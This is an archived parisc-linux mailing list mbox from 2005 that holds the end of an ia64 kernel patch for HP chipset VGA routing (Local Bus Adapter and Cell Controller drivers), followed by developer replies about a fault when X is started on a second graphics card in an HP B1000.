+ * HP Local Bus Adapter (LBA) driver
+ *
+ * (c) Copyright 2005 Hewlett-Packard Development Company, L.P.
+ *	Bjorn Helgaas <bjorn.helgaas@hp.com>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ */
+
+#include <linux/types.h>
+#include <linux/acpi.h>
+#include <linux/pci.h>
+#include <asm/acpi-ext.h>
+#include <acpi/actypes.h>
+#include <acpi/acpi_drivers.h>
+#include "cec.h"
+
+
+#define LBA_CONTROL		0x0108
+#define LBA_CONTROL_FORWARD_VGA	  0x00000008
+#define LBA_CONTROL_HARD_FAIL	  0x00000040
+
+#define FAIL_MODE_ROPE_HARD_FAIL		0x01
+
+#define FAIL_MODE_PCI_HARD_FAIL			0x01
+#define FAIL_MODE_PCI_SMART_MODE		0x02
+#define FAIL_MODE_PCI_CONFIG_TARGET_ABORT	0x04
+#define FAIL_MODE_PCI_IO_MASTER_ABORT		0x08
+#define FAIL_MODE_PCI_IO_TARGET_ABORT		0x10
+
+#define VGA_ROPE_MODE		0
+#define VGA_PCI_MODE		(FAIL_MODE_PCI_IO_TARGET_ABORT | \
+				 FAIL_MODE_PCI_IO_MASTER_ABORT | \
+				 FAIL_MODE_PCI_CONFIG_TARGET_ABORT | \
+				 FAIL_MODE_PCI_SMART_MODE)
+
+static struct hp_lba_data *vga_lba;
+
+static void
+hp_lba_set_fail_mode(struct hp_lba_data *lba, u64 rope_mode, u64 pci_mode)
+{
+	acpi_status status;
+	struct acpi_object_list arg_list;
+	union acpi_object fail_mode[2];
+
+	arg_list.count = 2;
+	arg_list.pointer = fail_mode;
+	fail_mode[0].type = ACPI_TYPE_INTEGER;
+	fail_mode[0].integer.value = rope_mode;
+	fail_mode[1].type = ACPI_TYPE_INTEGER;
+	fail_mode[1].integer.value = pci_mode;
+
+	status = acpi_evaluate_object(lba->handle, "WRFM", &arg_list, NULL);
+	if (ACPI_FAILURE(status))
+		printk(KERN_ERR "Couldn't write LBA fail mode\n");
+}
+
+static void
+hp_lba_vga_disable(struct hp_lba_data *lba)
+{
+	u64 ctrl;
+
+	/*
+	 * Reading an LBA register forces in-flight accesses to complete
+	 * before we route VGA to somewhere else.
+	 */
+	ctrl = readq(lba->addr + LBA_CONTROL);
+	ctrl &= ~LBA_CONTROL_FORWARD_VGA;
+	writeq(ctrl, lba->addr + LBA_CONTROL);
+	readq(lba->addr + LBA_CONTROL);
+
+	/*
+	 * We can't restore the original fail mode, because X may still
+	 * be using the device.
+	 */
+}
+
+void
+hp_lba_vga_enable(struct hp_lba_data *lba)
+{
+	u64 ctrl;
+
+	if (lba == vga_lba)
+		return;
+
+	if (vga_lba)
+		hp_lba_vga_disable(vga_lba);
+
+	ctrl = readq(lba->addr + LBA_CONTROL);
+	ctrl |= LBA_CONTROL_FORWARD_VGA;
+	writeq(ctrl, lba->addr + LBA_CONTROL);
+	readq(lba->addr + LBA_CONTROL);
+
+	hp_lba_set_fail_mode(lba, VGA_ROPE_MODE, VGA_PCI_MODE);
+
+	vga_lba = lba;
+}
+
+static char lba_id_list[] = "HWP0002,HWP0003,HWP0007";
+
+static int
+hp_lba_add(acpi_handle handle)
+{
+	acpi_status status;
+	struct acpi_device *device;
+	u64 hpa, length;
+	struct acpi_pci_id id;
+	struct pci_bus *bus;
+	struct hp_sba_data *sba;
+	struct hp_lba_data *lba;
+
+	status = acpi_bus_get_device(handle, &device);
+	if (ACPI_FAILURE(status))
+		return -EINVAL;
+
+	/*
+	 * This is called for all PCI root bridges.  But we only care
+	 * about the ones that have configurable VGA routing, i.e.,
+	 * HWP000[237].
+	 */
+	if (acpi_match_ids(device, lba_id_list))
+		return -ENODEV;
+
+	status = hp_acpi_csr_space(handle, &hpa, &length);
+	if (ACPI_FAILURE(status))
+		return -EINVAL;
+
+	status = acpi_get_pci_id(handle, &id);
+	if (ACPI_FAILURE(status))
+		return -EINVAL;
+
+	bus = pci_find_bus(id.segment, id.bus);
+	if (!bus)
+		return -EINVAL;
+
+	sba = hp_sba_find(handle);
+	if (!sba)
+		return -EINVAL;
+
+	lba = kzalloc(sizeof(*lba), GFP_KERNEL);
+	if (!lba)
+		return -ENOMEM;
+
+	lba->handle = handle;
+	lba->addr = ioremap(hpa, length);
+	lba->sba = sba;
+	lba->cell = hp_sba_cell(sba);
+	lba->rope = hp_sba_lba_to_rope(sba, hpa);
+
+	PCI_CONTROLLER(bus)->platform_data = lba;
+
+	sprintf(lba->name, "HP Local Bus Adapter (PCI Bus %04x:%02x)",
+		id.segment, id.bus);
+	request_mem_region(hpa, length, lba->name);
+
+	printk(KERN_INFO "%s at MMIO 0x%lx\n", lba->name, hpa);
+	return 0;
+}
+
+static void
+hp_lba_remove(acpi_handle handle)
+{
+}
+
+static struct acpi_pci_driver hp_lba_driver = {
+	.add =		hp_lba_add,
+	.remove =	hp_lba_remove,
+};
+
+static int __init
+hp_lba_init(void)
+{
+	/*
+	 * The LBAs are claimed by the ACPI generic PCI root bridge
+	 * driver.  Register with it as a sub-driver.
+	 */
+	acpi_pci_register_driver(&hp_lba_driver);
+	return 0;
+}
+subsys_initcall(hp_lba_init);
Index: work4/arch/ia64/hp/common/cec.h
===================================================================
--- /dev/null	1970-01-01 00:00:00.000000000 +0000
+++ work4/arch/ia64/hp/common/cec.h	2005-10-17 16:26:50.000000000 -0600
@@ -0,0 +1,39 @@
+/*
+ * HP chipset support
+ *
+ * (c) Copyright 2005 Hewlett-Packard Development Company, L.P.
+ *	Bjorn Helgaas <bjorn.helgaas@hp.com>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ */
+
+#include <linux/types.h>
+#include <linux/acpi.h>
+#include <asm/acpi-ext.h>
+#include <acpi/actypes.h>
+#include <acpi/acpi_drivers.h>
+
+struct hp_lba_data {
+	acpi_handle		handle;
+	volatile void __iomem	*addr;
+	struct hp_sba_data	*sba;
+	unsigned int		cell;
+	unsigned int		rope;
+	char			name[40];
+};
+
+struct hp_sba_data;
+
+void hp_lba_vga_enable(struct hp_lba_data *lba);
+void hp_sba_vga_enable(struct hp_sba_data *sba, unsigned int rope);
+void hp_pin_vga_enable(unsigned int cell);
+
+struct hp_sba_data *hp_sba_find(acpi_handle handle);
+unsigned int hp_sba_cell(struct hp_sba_data *sba);
+unsigned int hp_sba_lba_to_rope(struct hp_sba_data *sba, u64 addr);
+
+extern int ps202_workaround;
+
+int ioc_add(acpi_handle handle, u64 hpa, u64 length, unsigned int page_shift);
Index: work4/arch/ia64/hp/common/cc.c
===================================================================
--- /dev/null	1970-01-01 00:00:00.000000000 +0000
+++ work4/arch/ia64/hp/common/cc.c	2005-10-17 16:26:06.000000000 -0600
@@ -0,0 +1,133 @@
+/*
+ * HP Cell Controller driver
+ *
+ * (c) Copyright 2005 Hewlett-Packard Development Company, L.P.
+ *	Bjorn Helgaas <bjorn.helgaas@hp.com>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ */
+
+#include <linux/types.h>
+#include <linux/acpi.h>
+#include <linux/pci.h>
+#include <asm/acpi-ext.h>
+#include <acpi/actypes.h>
+#include <acpi/acpi_drivers.h>
+#include "cec.h"
+
+
+#define HP_CC_HID		"HWP0006"
+#define HP_CC_DRIVER_NAME	"HP Cell Controller Driver"
+#define HP_CC_DEVICE_NAME	"HP Cell Controller"
+
+#define CC_FUNCTION_SIZE	0x1000
+#define CC_FUNCTION_PIN0	0x8000
+#define CC_FUNCTION_PIN1	0xb000
+
+#define PIN_FUNC_ID		0x0000
+#define PIN_FUNC_ID_SX1000	  0x1262103c
+#define PIN_VGA_ROUTE		0x01c0
+#define PIN_VGA_ROUTE_ENABLE	  0x8000000000000000UL
+#define PIN_VGA_ROUTE_MASK	  0x00000000000000ffUL
+#define PIN_CELL_ID		0x0f00
+#define PIN_CELL_ID_MASK	  0x000000000000000fUL
+
+int ps202_workaround;	/* ABE PS202: sx1000 VGA routing is broken */
+
+struct hp_pin_data {
+	struct hp_pin_data	*next;
+	volatile void __iomem	*addr;
+};
+
+static struct hp_pin_data *pin_list;
+static unsigned int vga_cell = -1;
+
+void
+hp_pin_vga_enable(unsigned int cell)
+{
+	struct hp_pin_data *pin;
+	u64 route;
+
+	if (cell == vga_cell)
+		return;
+
+	/* Point every PIN's VGA_ROUTE at CELL. */
+	for (pin = pin_list; pin; pin = pin->next) {
+		route = readq(pin->addr + PIN_VGA_ROUTE);
+		route &= ~(PIN_VGA_ROUTE_ENABLE | PIN_VGA_ROUTE_MASK);
+		route |= (PIN_VGA_ROUTE_ENABLE | (cell << 4));
+		writeq(route, pin->addr + PIN_VGA_ROUTE);
+		readq(pin->addr + PIN_VGA_ROUTE);
+	}
+	vga_cell = cell;
+}
+
+static int __init
+pin_add(u64 hpa, u64 length)
+{
+	struct hp_pin_data *pin;
+	u64 id;
+
+	pin = kzalloc(sizeof(*pin), GFP_KERNEL);
+	if (!pin)
+		return -ENOMEM;
+
+	pin->addr = ioremap(hpa, length);
+	pin->next = pin_list;
+	pin_list = pin;
+
+	id = readq(pin->addr + PIN_FUNC_ID);
+	if (id == PIN_FUNC_ID_SX1000)
+		ps202_workaround = 1;
+
+	return 0;
+}
+
+static int __init
+acpi_cc_add(struct acpi_device *device)
+{
+	acpi_status status;
+	u64 hpa, length;
+	unsigned int size;
+	char *name;
+
+	status = hp_acpi_csr_space(device->handle, &hpa, &length);
+	if (ACPI_FAILURE(status))
+		return -ENODEV;
+
+	strcpy(acpi_device_name(device), HP_CC_DEVICE_NAME);
+
+	size = strlen(acpi_device_name(device)) +
+		strlen(acpi_device_bid(device)) + 4;
+	name = kzalloc(size, GFP_KERNEL);
+	if (!name)
+		return -ENOMEM;
+
+	snprintf(name, size, "%s [%s]",
+		acpi_device_name(device), acpi_device_bid(device));
+	request_mem_region(hpa, length, name);
+
+	pin_add(hpa + CC_FUNCTION_PIN0, CC_FUNCTION_SIZE);
+	pin_add(hpa + CC_FUNCTION_PIN1, CC_FUNCTION_SIZE);
+
+	printk(KERN_INFO "%s at MMIO 0x%lx\n", name, hpa);
+	return 0;
+}
+
+static struct acpi_driver acpi_cc_driver = {
+	.name		= HP_CC_DRIVER_NAME,
+	.ids		= HP_CC_HID,
+	.ops		= {
+		.add	= acpi_cc_add,
+	},
+};
+
+static int __init
+cc_init(void)
+{
+	acpi_bus_register_driver(&acpi_cc_driver);
+	return 0;
+}
+subsys_initcall(cc_init);
Index: work4/include/asm-ia64/machvec_hpzx1.h
===================================================================
--- work4.orig/include/asm-ia64/machvec_hpzx1.h	2005-10-17 15:45:16.000000000 -0600
+++ work4/include/asm-ia64/machvec_hpzx1.h	2005-10-17 16:04:38.000000000 -0600
@@ -11,6 +11,9 @@
 extern ia64_mv_dma_unmap_sg		sba_unmap_sg;
 extern ia64_mv_dma_supported		sba_dma_supported;
 extern ia64_mv_dma_mapping_error	sba_dma_mapping_error;
+extern ia64_mv_pci_mmap_legacy_page_range_t	hp_pci_mmap_legacy_page_range;
+extern ia64_mv_pci_legacy_read_t	hp_pci_legacy_read;
+extern ia64_mv_pci_legacy_write_t	hp_pci_legacy_write;
 
 /*
  * This stuff has dual use!
@@ -34,5 +37,8 @@
 #define platform_dma_sync_sg_for_device		machvec_dma_sync_sg
 #define platform_dma_supported			sba_dma_supported
 #define platform_dma_mapping_error		sba_dma_mapping_error
+#define platform_pci_mmap_legacy_page_range	hp_pci_mmap_legacy_page_range
+#define platform_pci_legacy_read		hp_pci_legacy_read
+#define platform_pci_legacy_write		hp_pci_legacy_write
 
 #endif /* _ASM_IA64_MACHVEC_HPZX1_h */

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FLT CBFB on B1000 when accessing second graphics
	card
Date: Thu, 1 Dec 2005 00:25:07 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <20051201052507.GB30663@tachyon.int.mcmartin.ca>
References: <a4743ac50511300621i1f7ed34eq@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623942 16947 80.91.229.3 (22 Nov 2014 02:39:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Klinger <th.klinger@gmail.com>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Dec 2005 05:25:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 01 Dec 2005 06:25:20 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3B3147D66E;
	Wed, 30 Nov 2005 22:25:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07996-04; Wed, 30 Nov 2005 22:25:14 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1957D7D668;
	Wed, 30 Nov 2005 22:25:13 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 56D917D664
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Nov 2005 22:25:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06839-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Nov 2005 22:25:09 -0700 (MST)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id B24897D660
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Nov 2005 22:25:09 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 3A13E17089;
	Thu,  1 Dec 2005 00:25:08 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07933-10; Thu, 1 Dec 2005 00:25:07 -0500 (EST)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id D1F2817088; Thu,  1 Dec 2005 00:25:07 -0500 (EST)
X-IMAP-Sender: kyle
X-OfflineIMAP-x1137780156-52656d6f746546617454697265-494e424f582e4f7574626f78: 1133414744-0852231029549-v4.0.11
Content-Disposition: inline
In-Reply-To: <a4743ac50511300621i1f7ed34eq@mail.gmail.com>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Fuz8Y9EfeSEka76WZHQhaXN1IGRvb0C1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23216

On Wed, Nov 30, 2005 at 03:21:17PM +0100, Thomas Klinger wrote:
> Now, the setup and everything else went through smoothly, even the
> first setup of the X server using the original display card went
> pretty fine, but only with 8-bit colors. That's why we built in the
> Matrox card. It is recognized by the system and displayed using lspci.
>

> What comes now is that if we try to start the X server using the
> second card the system switches the card and immediatly fails with the
> error code FLT CBFB (shown in the front LCD display).
>

You need to post your Xorg.conf or whatever it's called nowadays.
 
> I posted the symptom to debian-hppa and was then forwared by Grant
> Grundler to this mailing list to post my concern.
> 
> The goal of the system is to boot the system with the original card
> (as is does already), but use the secondary card (Matrox in that case)
> as display for the desktop environment in 16-bit colors, at least.
>

This will probably work provided you use the matroxfb framebuffer, with
the "fbdev" driver of X. Anything else is almost guaranteed to fail with
an HPMC. Specifics are explained in the graphics FAQ.
 
> A Data I/O Fetch Timeout occured while CPU 0 was
> requesting information from a device with the address 0xfff9017ff1.
>

Somebody did something it shouldn't've.

Cheers,
	Kyle 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FLT CBFB on B1000 when accessing second graphics
	card
Date: Thu, 1 Dec 2005 00:06:12 -0500
Lines: 66
Approved: news@gmane.org
Message-ID: <20051201050612.GA30663@tachyon.int.mcmartin.ca>
References: <a4743ac50511300621i1f7ed34eq@mail.gmail.com>
	<200511301224.39435.bjorn.helgaas@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623942 16998 80.91.229.3 (22 Nov 2014 02:39:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Dec 2005 05:25:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 01 Dec 2005 06:25:25 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A79E37D672;
	Wed, 30 Nov 2005 22:25:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07996-07; Wed, 30 Nov 2005 22:25:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 97E227D673;
	Wed, 30 Nov 2005 22:25:14 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 97AA57D660
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Nov 2005 22:25:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07030-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Nov 2005 22:25:10 -0700 (MST)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id BE1237D661
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Nov 2005 22:25:09 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id CB4D317083;
	Thu,  1 Dec 2005 00:25:08 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08153-02; Thu, 1 Dec 2005 00:25:08 -0500 (EST)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 5A4111708A; Thu,  1 Dec 2005 00:25:08 -0500 (EST)
X-IMAP-Sender: kyle
X-OfflineIMAP-x1121069172-52656d6f746546617454697265-494e424f582e4f7574626f78: 1133414744-079821638908-v4.0.11
Content-Disposition: inline
In-Reply-To: <200511301224.39435.bjorn.helgaas@hp.com>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Eez8Y9VCeSEkab6WZHQhaXN1IGRvbwD/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23217

On Wed, Nov 30, 2005 at 12:24:39PM -0700, Bjorn Helgaas wrote:
> I don't follow parisc development enough to know whether this
> scenario is supposed to work.  Based on what I do know about
> HP chipsets and the ia64 kernel, I expect this to fail for the
> following reason:
>
[Executive summary: No, using X to do any hardware programming is
 definitely going to fail spectacularly]

Iirc when I brought up doing this a few months ago, Grant mentioned
that this feature of the chipset (I don't recall whether it was
Astro or Elroy offhand) was broken/untested for the parisc based
revisions of the chip until some later version.
 
> When you have two video cards in the system, HP chipsets route those
> ranges to one card or the other, not both.  So my guess is that X
> is either trying to use the second card uninitialized, or it is
> trying to emulate the option ROM on the second card, and the MMIO
> or IO port accesses done by the option ROM code are being routed to
> the primary card.
>

At the moment, there's absolutely no support for legacy VGA
registers. Legacy IO port accesses will likely timeout doing an access
to the PCI bus behind rope0. Legacy VGA mmio will, uh, do something
funny.

Firmware probably (I say probably instead of 'definitely' because I'm
in no position to know for certain) doesn't do anything at all with a
VGA card, as none of the supported graphics cards do legacy VGA.

The best thing to do is to not use an X driver, and hope the framebuffer
driver can initialize the card without legacy VGA accesses. Browsing
random popular PC graphics cards framebuffer drivers, I would speculate
that an nVidia PCI card would work, as they appear to do all programming
via proper mmio. Whether the nvidiafb driver supports a card that has
not been initialized by firmware is anyone's guess, I don't have one
to test with. (And I'm more interested in making the Visualize FX series
work).

> Bad things will happen in either case.
> 

> I have code for ia64 that makes this work, and it should be fairly
> easy to port to parisc.  It works by reprogramming the chipset to
> route the VGA MMIO and IO port resource to the appropriate card.
> There are a few related X server changes, too.
> 
> This is a bit of a work-in-progress, but I'll attach the current
> ia64 kernel patch so you can get an idea of what I'm doing.
> 

Thanks! If I can scrounge some time over holidays I'll investigate
if there's a possibility of this working on parisc.

> Bjorn
>

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn.helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FLT CBFB on B1000 when accessing second graphics
	card
Date: Thu, 1 Dec 2005 10:29:31 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <200512011029.31134.bjorn.helgaas@hp.com>
References: <a4743ac50511300621i1f7ed34eq@mail.gmail.com>
	<200511301224.39435.bjorn.helgaas@hp.com>
	<20051201050612.GA30663@tachyon.int.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623942 17003 80.91.229.3 (22 Nov 2014 02:39:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:02 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Dec 2005 17:30:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 01 Dec 2005 18:30:19 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 989267D676;
	Thu,  1 Dec 2005 10:30:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13355-04; Thu, 1 Dec 2005 10:30:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7ABD77D684;
	Thu,  1 Dec 2005 10:30:14 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 99E237D671
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Dec 2005 10:30:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13258-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 1 Dec 2005 10:30:10 -0700 (MST)
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by free.linux.hp.com (Postfix) with ESMTP id 111B27D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Dec 2005 10:30:10 -0700 (MST)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel6.hp.com (Postfix) with ESMTP id 2F22F1AC0E;
	Thu,  1 Dec 2005 12:29:35 -0500 (EST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 7E71B41EA25; Thu,  1 Dec 2005 17:29:34 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id 58B251341D9;
	Thu,  1 Dec 2005 10:29:34 -0700 (MST)
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 21726-01; Thu, 1 Dec 2005 10:29:32 -0700 (MST)
Original-Received: from eeyore.helgaas (lart.fc.hp.com [15.11.146.31])
	by ldl.fc.hp.com (Postfix) with ESMTP id E039E1340F2;
	Thu,  1 Dec 2005 10:29:32 -0700 (MST)
User-Agent: KMail/1.8.2
In-Reply-To: <20051201050612.GA30663@tachyon.int.mcmartin.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at ldl.fc.hp.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
